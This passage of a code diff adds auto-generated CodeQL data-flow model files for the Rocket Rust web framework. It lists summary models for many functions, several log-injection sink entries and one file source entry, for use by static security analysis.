"dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::uri", "Argument[self].Field[crate::request::request::Request::uri]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self].Field[crate::response::body::Body::max_chunk]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::preset_size", "Argument[self].Field[crate::response::body::Body::size]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_max_chunk_size", "Argument[0]", "Argument[self].Field[crate::response::body::Body::max_chunk]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_sized", "Argument[1]", "ReturnValue.Field[crate::response::body::Body::size]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::debug::Debug(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::response::flash::Flash::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::message", "Argument[self].Field[crate::response::flash::Flash::message]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::warning", "Argument[0]", "ReturnValue.Field[crate::response::flash::Flash::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::max_chunk_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "ReturnValue.Field[crate::response::response::Builder::response].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok", "Argument[self].Field[crate::response::response::Builder::response]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_header_adjoin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::sized_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::streamed_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self].Field[crate::response::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body_mut", "Argument[self].Field[crate::response::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::build_from", "Argument[0]", "ReturnValue.Field[crate::response::response::Builder::response]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::headers", "Argument[self].Field[crate::response::response::Response::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::join", "Argument[0].Field[crate::response::response::Response::status]", "Argument[self].Field[crate::response::response::Response::status]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::merge", "Argument[0].Field[crate::response::response::Response::body]", "Argument[self].Field[crate::response::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_status", "Argument[0]", "Argument[self].Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::tagged_body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::bytes::ByteStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::one::One(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_next", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::reader::ReaderStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::event", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::retry", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_comment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_retry", "Argument[0]", "Argument[self].Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_retry", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_retry", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::EventStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::heartbeat", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::text::TextStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[1]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::rkt::Rocket(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::attach", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_tcp_http_server", "Argument[self]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::manage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::format]", "ReturnValue.Field[crate::route::route::Route::format]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::method]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::rank].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::route::route::Route::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::route::route::Route::uri].Field[crate::route::uri::RouteUri::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[1]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::route::uri::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::route::uri::RouteUri::source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_rank", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_uri_param", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::msgpack::MsgPack(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::allow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::block", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::disable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::enable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::trip_wire::TripWire::state].Reference", "ReturnValue.Field[crate::trip_wire::TripWire::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::trip_wire::TripWire::state]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_segments", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::items]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::VecContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::catcher::catcher::default_handler", "Argument[0]", "ReturnValue.Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::try_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::prepend", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "::signal_stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::dispatch", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_error", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml new file mode 100644 index 000000000000..3c08a3aa283d --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml @@ -0,0 +1,62 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::with_span", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Dynamic::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::attribute::param::Parameter::Static(0)].Field[crate::name::Name::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Guard::source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::attribute::param::Guard::fn_ident]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[2]", "ReturnValue.Field[crate::attribute::param::Guard::ty]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::dynamic", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::dynamic_mut", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::guard", "Argument[self].Field[crate::attribute::param::Parameter::Guard(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ignored", "Argument[self].Field[crate::attribute::param::Parameter::Ignored(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::static", "Argument[self].Field[crate::attribute::param::Parameter::Static(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::take_dynamic", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::span]", "value", 